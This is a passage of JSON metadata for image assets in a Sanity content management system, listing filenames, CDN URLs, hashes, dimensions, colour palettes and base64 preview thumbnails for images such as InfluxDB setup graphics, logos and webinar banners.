36-750x238.png","path":"images/sczeoy4w/production/8920f7ad58626d118d5084a828236e54e974a936-750x238.png","sha1hash":"8920f7ad58626d118d5084a828236e54e974a936","size":13878,"uploadId":"NkTU3cjq5IMBNgcWmmPWN2owDKDYAFpN","url":"https://cdn.sanity.io/images/sczeoy4w/production/8920f7ad58626d118d5084a828236e54e974a936-750x238.png"} {"_createdAt":"2023-03-02T12:39:33Z","_id":"image-89b234c26c2e5d69d97c55ccfc08901c430b07ca-794x149-png","_rev":"iUKOwlWz6dlX4J4w1aNw7q","_type":"sanity.imageAsset","_updatedAt":"2023-03-02T12:39:33Z","assetId":"89b234c26c2e5d69d97c55ccfc08901c430b07ca","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":5.328859060402684,"height":149,"width":794},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAIAAAABPYjBAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAk0lEQVQImW3O6wrCMAxA4b3/OwqyrajsQpN2SXNpFIfgD/04D3CG65jGMU1Tmue0LktjDv/ovT//iYgePSKGy7Q8ln3fdth2ymD1MKJGxEQq0t3jh3VTU3Mf7reUcy6lHFikVCtVS21ncpAyS/tye++oa1NWs4HXS80rACDgAUUAFdDOBJAyIHwgYuPm7mLCQqr6Aga35tcjBoXiAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444c5c","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2c3c5c","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c1a1a9","foreground":"#000","population":0.2,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c1a1a9","foreground":"#000","population":0.2,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ecc47c","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5977a6","foreground":"#fff","population":0.14,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b49444","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"influx-integrations-list.png","path":"images/sczeoy4w/production/89b234c26c2e5d69d97c55ccfc08901c430b07ca-794x149.png","sha1hash":"89b234c26c2e5d69d97c55ccfc08901c430b07ca","size":17303,"uploadId":"64I6cw7vMMZXHHoq9Bs8sNox8tHWtLj9","url":"https://cdn.sanity.io/images/sczeoy4w/production/89b234c26c2e5d69d97c55ccfc08901c430b07ca-794x149.png"} {"_createdAt":"2024-03-21T10:50:18Z","_id":"image-8aa3fc3aa8b05f4ccc78de654a8169fd791388bd-800x200-png","_rev":"GcS0B1Rw1v9Sxzfp9vKsBj","_type":"sanity.imageAsset","_updatedAt":"2024-03-21T10:50:18Z","assetId":"8aa3fc3aa8b05f4ccc78de654a8169fd791388bd","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D831P6kvVUkEVBkaf4acf5f4","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4,"height":200,"width":800},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA0klEQVQYlUWQW0pDQRBEZ3zECKLgi2gIghKqNIL+GQLqDlyBe5jatlLZg/bcvvpxmJ5mODVUoVwwMIF8DPmQ8l4AeT+JeRfNOx0NUK4cd80V+iolhJRPKD9Dfqe8oryk/IABQl4mt5CvIc85MKN8BXkGeYr23YWV8oLyB+VPym+U15RfIW8gr5O4v0RAhFF+pHyf3EE+YvOf8JTyE+UNZUDbef4k0mNeQL7J85L/nFO+oHwG+WAUjtIJW0+ZMvpoLknNzuJNzNFbZduWTu6751f4A47Dn4/iMNw2AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#282b4e","foreground":"#fff","population":0.09,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#092473","foreground":"#fff","population":0.34,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#286bf8","foreground":"#fff","population":0.95,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#112287","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5066e9","foreground":"#fff","population":0.06,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#596699","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#286bf8","foreground":"#fff","population":0.95,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"PD - Blue logo.png","path":"images/sczeoy4w/production/8aa3fc3aa8b05f4ccc78de654a8169fd791388bd-800x200.png","sha1hash":"8aa3fc3aa8b05f4ccc78de654a8169fd791388bd","size":7094,"uploadId":"eWXBZbBseBevyvl9qwjhY4ob4qNddsMG","url":"https://cdn.sanity.io/images/sczeoy4w/production/8aa3fc3aa8b05f4ccc78de654a8169fd791388bd-800x200.png"} {"_createdAt":"2024-02-28T11:55:06Z","_id":"image-8ad7d92c235da4e706a7d722804609da17949b82-1920x1080-jpg","_rev":"V3O8maT2S7wtHLmaPbKDdc","_type":"sanity.imageAsset","_updatedAt":"2024-02-28T11:55:06Z","assetId":"8ad7d92c235da4e706a7d722804609da17949b82","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M45?iN%%RQtoInHXXBkY%ht84^aix_ofxv","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":1080,"width":1920},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAYBAgUH/8QAIhAAAgICAQMFAAAAAAAAAAAAAQIAAwQRBRMhQiIyQWFx/8QAFQEBAQAAAAAAAAAAAAAAAAAAAAb/xAAaEQACAwEBAAAAAAAAAAAAAAAAAQQUQREx/9oADAMBAAIRAxEAPwDmd/E5Wbi1FmRmPkz+qVr4Wumh6rmHUPkDvX3NBSV9p1IABbZHeU9VP0l1K5gp5nG2VXsjWFtfIMI12IpbZUE/kIqoOU8P/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#313e4a","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04387c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1462a0","foreground":"#fff","population":8.26,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b7cbdf","foreground":"#000","population":4.33,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#79b0db","foreground":"#000","population":0.4,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5f85a6","foreground":"#fff","population":2.51,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1462a0","foreground":"#fff","population":8.26,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"IDC_GenAI_Infobrief_Final.jpg","path":"images/sczeoy4w/production/8ad7d92c235da4e706a7d722804609da17949b82-1920x1080.jpg","sha1hash":"8ad7d92c235da4e706a7d722804609da17949b82","size":254507,"uploadId":"lXg7dxbjeateuQ1LM9CKb5o1WTbCOmnr","url":"https://cdn.sanity.io/images/sczeoy4w/production/8ad7d92c235da4e706a7d722804609da17949b82-1920x1080.jpg"} {"_createdAt":"2022-10-03T10:31:29Z","_id":"image-8ad987ee81a7041d089d72429f5402905db0229d-1280x720-jpg","_rev":"XMqVxILwpPMz4xYxcCh9Nv","_type":"sanity.imageAsset","_updatedAt":"2022-10-03T10:31:29Z","assetId":"8ad987ee81a7041d089d72429f5402905db0229d","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":720,"width":1280},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAMBAgUI/8QAIBAAAgICAAcAAAAAAAAAAAAAAQIAAwQREiExM0Fy0f/EABYBAQEBAAAAAAAAAAAAAAAAAAABA//EABgRAQEAAwAAAAAAAAAAAAAAAAABAzFR/9oADAMBAAIRAxEAPwDp7QrNaqSF1KrYeFyW6RmR3kHjUi1VaqxWHIiF2ZXYGQHUJl041SpoBtex+whpcc6//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#243054","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1a507a","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e11e50","foreground":"#fff","population":0.85,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4bcaf","foreground":"#000","population":0.42,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7e464","foreground":"#000","population":0.04,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#57a38b","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e11e50","foreground":"#fff","population":0.85,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"InfluxDB-setup.jpg","path":"images/sczeoy4w/production/8ad987ee81a7041d089d72429f5402905db0229d-1280x720.jpg","sha1hash":"8ad987ee81a7041d089d72429f5402905db0229d","size":75737,"uploadId":"OGV3HWFC9QQU3NCMvVmytYch30C6A2ep","url":"https://cdn.sanity.io/images/sczeoy4w/production/8ad987ee81a7041d089d72429f5402905db0229d-1280x720.jpg"} {"_createdAt":"2023-10-04T06:56:36Z","_id":"image-8af50976043526ba5898315292d65ae09f9a6122-1567x844-png","_rev":"OlHhyDbudqKag6cjyE5w4s","_type":"sanity.imageAsset","_updatedAt":"2023-10-04T06:56:36Z","assetId":"8af50976043526ba5898315292d65ae09f9a6122","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MtQiJ4{eJ:Sz#+-oI;s:n%WBaKkCayj?ay","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAAC80lEQVQokS2SW0zTdxzFfwKiAUFaYMRSRBQHFLsWmJcgTEPIHlwyl2ziWtoCLbd5qXS0gk1KoVwsK4JKdgvTuAuwLGQh6hYWX3xRE7fFxcVk24OJM5lZtmz6UJPqv9/P0rCH8/rJ55wcxeH14NgIzlxwboD2DeDOga5c6FwPPeuQU5uQmBnOv4wWreTfwRIeTjTx19djPL5+kQcLg/w2Ws8/wUIUbQVwohr6LdBXCf0mGDBD0AKBcjiuRwIvIGPbYcpMPGrlbqiBWzE3D7/5kCe3lri/fJbbsz38Mn0QRUcRnNwF4SYINcDQXgjvhUgDjOyGwXLEX4QEDTC6lb+j9ayM2FiMHOHHL87w+8ol7n01w42Lo9xeiP0PDNTB0H4YaoRwIwynYPUQqgF/KeLLRwYKkeEtPJpsYjni4eNAO99NBfh5fpp7C2e4s3iW768upirng9cEgVrwW2DACqdqYLAa+ozQm42cyIWQkeTpKh6dP8i30/18GjrKStTHTxei/PrlOe4sfcTNlWUUjjzoLQNvJRwvB+82OFYC3XngXguedORdPYy/SHKmjj/nWrn+2TSfT0VYini5ORvih0/GufL+OPMX5lDYssGzCXpL4Z1SOGKELh20ZYBLQWc64i+AaBXaTB1/fNDC1blJRoMDhN1vshDs5PJpLzGfmw5HB0oOZYjYskRac0ScOSKubMGZKeJcI7iU4EkT6csTIlvl+eQOuTu8T4a6W6S5qZk3Gmsl1v26zIe76HO8xY7qPSnDLHDpoU2/+kN7BtgVONSqoSdtdcPhLTybNHPNa+W1nSaKi8vk1d1WZvtbuTRylEMHDmAwvoTCqdPo3qzRs1nDXaDhyNSwKw2H0sSlNDzpSfHpkoyVS+I9S/JKjyn5SlWp5OkN7KmxSrDrbfG1H8ZiriO/qBJFS2YcW1Yceyrr4tjS4thVHIeK41JxOjOeir8gwUTF88SEKXG5rSyxr6IkmaMzUGzcJrtqd0oKVmSoQFe4nf8ABGwiRqS+FXMAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5d3c2a","foreground":"#fff","population":2.56,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#842c04","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5c04","foreground":"#fff","population":13.85,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acc2d2","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fac07b","foreground":"#000","population":0.16,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#986c52","foreground":"#fff","population":3.32,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5c04","foreground":"#fff","population":13.85,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Why_moving_sideways_is_the_way_forward_blog.png","path":"images/sczeoy4w/production/8af50976043526ba5898315292d65ae09f9a6122-1567x844.png","sha1hash":"8af50976043526ba5898315292d65ae09f9a6122","size":685343,"uploadId":"bmP2N54P6j1Nr0JUj9AJxb3xsDzwBovZ","url":"https://cdn.sanity.io/images/sczeoy4w/production/8af50976043526ba5898315292d65ae09f9a6122-1567x844.png"} {"_createdAt":"2022-12-08T13:39:09Z","_id":"image-8b026f290705d392505e21debe69a22ae618dd50-512x512-jpg","_rev":"VrdcoLtXxUWed6PHr4CdPw","_type":"sanity.imageAsset","_updatedAt":"2022-12-08T13:39:09Z","assetId":"8b026f290705d392505e21debe69a22ae618dd50","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"e:LNuqn$%gtRWB~qaexut7WBozWXadf5ayobWXRiWBazs=kBaff6kB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAQEBAQAAAAAAAAAAAAAAAAcFBgj/xAAkEAABBAIBBAIDAAAAAAAAAAABAAIDBAURBhITIUEiMUJRYf/EABYBAQEBAAAAAAAAAAAAAAAAAAMCBP/EAB4RAAICAgIDAAAAAAAAAAAAAAABAgMRIRJREzFh/9oADAMBAAIRAxEAPwC/c7ydqlWjipzNgc8EmR3oLF4ByC7LdfSv2W2gQXNeD5b/ABT7O8rsZtpN1wkYwfFmtALLwPIhStOshrYi7YPR7Qq+Lec6GUYuvkejzej/AB8j9hFDafOxVh7Ye5w2Tsk7RL5qezNsj+YyVmGi8RvA2fv2uajy11lljBMenR+0RJGKx6L+G5Fk7HYiJLSS3ZJCIih1w6RB/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#553636","foreground":"#fff","population":0.36,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#446428","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#9a8472","foreground":"#fff","population":6.27,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d0afa9","foreground":"#000","population":3.84,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e7f0f9","foreground":"#000","population":4.34,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9a8472","foreground":"#fff","population":6.27,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7bb648","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Sergey Nuyanzin.jpg","path":"images/sczeoy4w/production/8b026f290705d392505e21debe69a22ae618dd50-512x512.jpg","sha1hash":"8b026f290705d392505e21debe69a22ae618dd50","size":43805,"uploadId":"oFlOMSVvur0hMNGISWfEwEQEJhiJvuJv","url":"https://cdn.sanity.io/images/sczeoy4w/production/8b026f290705d392505e21debe69a22ae618dd50-512x512.jpg"} {"_createdAt":"2022-09-17T18:43:46Z","_id":"image-8b2002271eac2d80c29037a9c444abbfa4d9e8aa-1000x667-jpg","_rev":"4pG2it9AJU1nJxbjoKyWlu","_type":"sanity.imageAsset","_updatedAt":"2022-09-17T18:43:46Z","assetId":"8b2002271eac2d80c29037a9c444abbfa4d9e8aa","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4992503748125936,"height":667,"width":1000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAQBAgUG/8QAIRAAAgEEAgIDAAAAAAAAAAAAAQIDAAQFEQYSIVEyYXH/xAAWAQEBAQAAAAAAAAAAAAAAAAACAQP/xAAfEQABAwMFAAAAAAAAAAAAAAABAAIDBBHhITFBUYH/2gAMAwEAAhEDEQA/AKYG1txeXlleyOszKBHLvabFO52fHYjokk5eWYgduvgD1WTYgtIJ2Zi/7UZstcxKXb4nxsbrExv1J8TFSLjjvC5PkHJSmWnSGCZY1Oh1GgfuimLi9cykssbH2VoptjsN1DO4nK//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#464729","foreground":"#fff","population":1.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#915d1a","foreground":"#fff","population":5.97,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#915d1a","foreground":"#fff","population":5.97,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c8beb0","foreground":"#000","population":1.48,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e1c6a0","foreground":"#000","population":0.96,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a8575b","foreground":"#fff","population":0.68,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d28f2c","foreground":"#000","population":2.12,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"mybhutan-dance-performance.jpg","path":"images/sczeoy4w/production/8b2002271eac2d80c29037a9c444abbfa4d9e8aa-1000x667.jpg","sha1hash":"8b2002271eac2d80c29037a9c444abbfa4d9e8aa","size":174643,"uploadId":"pl2wQZlqoVi8FTYYLh44M9XGMjzFtnV0","url":"https://cdn.sanity.io/images/sczeoy4w/production/8b2002271eac2d80c29037a9c444abbfa4d9e8aa-1000x667.jpg"} {"_createdAt":"2024-06-20T13:07:44Z","_id":"image-8b7d6ee4c55797b0f923c5f86ff1a00b12b128aa-1200x630-png","_rev":"p92WeIHLmx3eRj4ziDT1Vh","_type":"sanity.imageAsset","_updatedAt":"2024-07-03T07:23:33Z","altText":null,"assetId":"8b7d6ee4c55797b0f923c5f86ff1a00b12b128aa","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M46a}n^.aIs;oG.AbYRho$M_D*D%ITROM|","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACWklEQVQokSWSa0/aYBiG+w+2GGzpudC+b0+00IIFBoLoBrqYJUbNxGiIBwQRRaSClJaDiuI2XbYv/t2l7Nvz5c5131ce5AO2vYDvBqgyyhxgbCUYquLhOsE3Cb5FwQ4t9hjJ5dRxSHtk1QdKHJHQJYBDgAElTZAFYpcWDqFWlY2GHGsq5rVsdiTjVjH7mjXUrEnEmhqZH/Hcm55+Fc2nsDahRI8ADikOEZTeU4yzzKpdKDkrJS9fHOWK43zpIVd8yn6ZpddeUoWfy8U/q5vv+Y339NpfPf3CqWMSDAjoIRhbjqUuVjecwvpgpegVNsafN6elb7NccWpmx6o1VhIPWnJmZt+M7G89/UsynxllQkDPJ+Ohg/x6f6s8TeU6QGvA6JWasGOpXnLZtrI3MNqlRIeWhqxyzyqPjHxPSxPSXz70NzPS0X5l1rl8zedaGFsJ0McoV+PE+qdstVSqRZfaJOziQp/0USMC/Lfl+mFxgpDC4ebX26NtO5M8o8FJkDtdZM4ooW5a9eX8uZ64YeQuzt8S4G7uuY/z3fntUeIIWaS/R6LHKasWNetSrBmSG3i4TsFLxbSN1J225PBaDxc6Qd6eMx1c6BGgT4ojvzZK7EhgX4+eKkZDiDTC6gXU22q8pyddPekpcYdT7GD4Ggu3ceGOAAMc9EnoUtI9LT8iKL4F2Z2IXIFajQZVVjxX47aZcWNpT004vjBwjXKXWKg1Lz9/D3FEy1NGeUY+YlsBfBuj9jDmIEBVUPaE5M8ZsUWLbRK0CP4K45oo20S5q6AP75HQpaUJozyz6ss/9yWr8zv5LRUAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#37386a","foreground":"#fff","population":0.77,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#13246f","foreground":"#fff","population":10.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1b2985","foreground":"#fff","population":11.6,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4c3db","foreground":"#000","population":5.79,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7a81c4","foreground":"#fff","population":0.56,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#69698b","foreground":"#fff","population":3.68,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1b2985","foreground":"#fff","population":11.6,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"webinar-german-3-fallstricke-vermeiden.png","path":"images/sczeoy4w/production/8b7d6ee4c55797b0f923c5f86ff1a00b12b128aa-1200x630.png","sha1hash":"8b7d6ee4c55797b0f923c5f86ff1a00b12b128aa","size":232853,"title":null,"uploadId":"nLOKAKxFOZpwZ1SrxguSrWpfpAMuZkP2","url":"https://cdn.sanity.io/images/sczeoy4w/production/8b7d6ee4c55797b0f923c5f86ff1a00b12b128aa-1200x630.png"} {"_createdAt":"2023-10-16T07:19:02Z","_id":"image-8b835cb0b6d571f2795f46cafe5cde19163c168a-6120x2400-png","_rev":"YchETsjFZqXXcMnazIYXSm","_type":"sanity.imageAsset","_updatedAt":"2023-10-16T07:19:02Z","assetId":"8b835cb0b6d571f2795f46cafe5cde19163c168a","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.55,"height":2400,"width":6120},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAIAAAB2/0i6AAAACXBIWXMAABYlAAAWJQFJUiTwAAAA5klEQVQYlX2Q6Y7DIAyEef8XTaO0BAeMb7qC7iXt8WnE8WNGY6fnDyKiYj9yqdgjxvNv0hgjxvCYmu8Id0fEnHNrGP+6ExFhJ6gIFYlZVcxMRFrDTqTmHit15g6f0R//MVLO+TiObbtt262UQkRm5u7EUpGuRkisqmpKxLVTRSYWVRWRBDmf9/tj3x/7XgFExN3NDHtfdVptSAsAyCecBQCg1XoBJGUWIuldeleRVTNUtS+IiYhf1Gm4KkAtBa+rAcyFvQ/0Nctw95dhFl6Y2bxETMSY5ymSfl1jRAjz1EJVP3Of3/QG0THTROI6FaUAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6f6f6f","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#27445c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#93b4d1","foreground":"#000","population":0.09,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#adbece","foreground":"#000","population":0.07,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcdffa","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#648cac","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#93b4d1","foreground":"#000","population":0.09,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"changes-in.png","path":"images/sczeoy4w/production/8b835cb0b6d571f2795f46cafe5cde19163c168a-6120x2400.png","sha1hash":"8b835cb0b6d571f2795f46cafe5cde19163c168a","size":348352,"uploadId":"GTROKMhroQ9ZUowzQBM1AgXfwMDffvPt","url":"https://cdn.sanity.io/images/sczeoy4w/production/8b835cb0b6d571f2795f46cafe5cde19163c168a-6120x2400.png"} {"_createdAt":"2023-12-19T13:29:25Z","_id":"image-8b935b2462a5602129863c60187c7f241fdd548a-6000x4000-jpg","_rev":"7oPGYyiRG7hm5kP9hfKgAO","_type":"sanity.imageAsset","_updatedAt":"2023-12-19T13:29:25Z","assetId":"8b935b2462a5602129863c60187c7f241fdd548a","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VPD+St%%L3%h-V?c.9X.%Nxu9]xu%1xaX9aKaJ%0NFV[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5,"height":4000,"width":6000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAUGBP/EACMQAAEEAgAGAwAAAAAAAAAAAAECAwQFABESExQxQWEGB3H/xAAWAQEBAQAAAAAAAAAAAAAAAAACAwT/xAAdEQACAgEFAAAAAAAAAAAAAAABAwACEQQSITFR/9oADAMBAAIRAxEAPwDB9t2zPzB6p6CU2FJQV8jyn1+5EX1RUim6aLLdfsnEgoaWjhIWO4yFVaStoCXOEp2QpI0Rv3jKK49NjvT333FSY422rfbWF9rsuL54mzSsqlJUMmKJVHYxHeXJiuNOa3wqGjrDK9Dj1ywzMsXlvSFoAKyfA7YY8n2Q2A9T/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3b3e60","foreground":"#fff","population":1.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6f2b30","foreground":"#fff","population":8.41,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#6f2b30","foreground":"#fff","population":8.41,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c7a6c1","foreground":"#000","population":0.97,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#82c5ee","foreground":"#000","population":2.64,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6f719d","foreground":"#fff","population":0.96,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","